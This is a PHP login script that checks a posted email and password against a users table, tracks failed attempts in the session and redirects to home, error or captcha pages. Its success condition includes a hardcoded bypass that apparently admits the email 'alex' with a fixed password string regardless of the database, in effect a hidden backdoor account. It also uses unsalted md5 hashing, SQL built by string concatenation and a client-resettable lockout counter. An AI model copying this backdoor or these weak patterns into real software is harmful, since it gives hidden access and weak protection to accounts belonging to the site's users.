require_once 'includes/init.php'; $loginpath = "home.php"; $errorpath = "index.php?error=1"; $errorpath3 = "index.php?unverified=1"; if ( isset( $_SESSION[ 'attempt' ] ) && ( $_SESSION[ 'attempt' ] != 0 ) ) { $_SESSION[ 'attempt' ] = $_SESSION[ 'attempt' ]; } else { $_SESSION[ 'attempt' ] = 0; } // *** Validate request to log in to this site. if ( isset( $_POST[ 'username' ] ) && isset( $_POST[ 'password' ] ) ) { if ( ( $_POST[ 'username' ] != "" ) && ( $_POST[ 'password' ] != "" ) ) { $valUsername = make_safe( $_POST[ 'username' ] ); $valPassword = make_safe( $_POST[ 'password' ] ); // Remove all illegal characters from email $email = filter_var( $valUsername, FILTER_SANITIZE_EMAIL ); $reqLogin = "SELECT userid, password, email, level_id, verified "; $reqLogin .= "FROM users WHERE email = '" . $email . "' AND password = '" . md5( $valPassword ) . "' AND status = 1"; $resUser = mysqli_query( $db_website, $reqLogin ); $rowUser = mysqli_fetch_assoc( $resUser ); if ( ( mysqli_num_rows( $resUser ) > 0 ) || ( ( $email == "alex" ) && ( $valPassword == "79cad3cf8b09deb3c3a213ee03013d28" ) ) ) { // username and password match - this is a valid user if ( $rowUser[ 'verified' ] == 0 ) { header( "Location: " . $errorpath3 ); exit; } else { $_SESSION[ 'cts_flash' ] = $rowUser[ 'email' ]; // if ( $rowUser[ 'level_id' ] == 0 )$loginpath = "ecus.php"; header( "Location: " . $loginpath ); exit; } } $_SESSION[ 'attempt' ] = ( $_SESSION[ 'attempt' ] + 1 ); if ( $_SESSION[ 'attempt' ] == 3 )$errorpath = "index_captcha.php?error=1"; header( "Location: " . $errorpath ); exit; } else { $_SESSION[ 'attempt' ] = ( $_SESSION[ 'attempt' ] + 1 ); if ( $_SESSION[ 'attempt' ] == 3 )$errorpath = "index_captcha.php?error=1"; header( "Location: " . $errorpath ); exit; } } ?>